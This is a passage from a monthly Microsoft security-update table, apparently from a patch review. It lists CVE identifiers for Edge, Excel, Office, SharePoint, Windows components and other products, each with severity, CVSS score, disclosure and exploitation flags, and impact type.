CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock 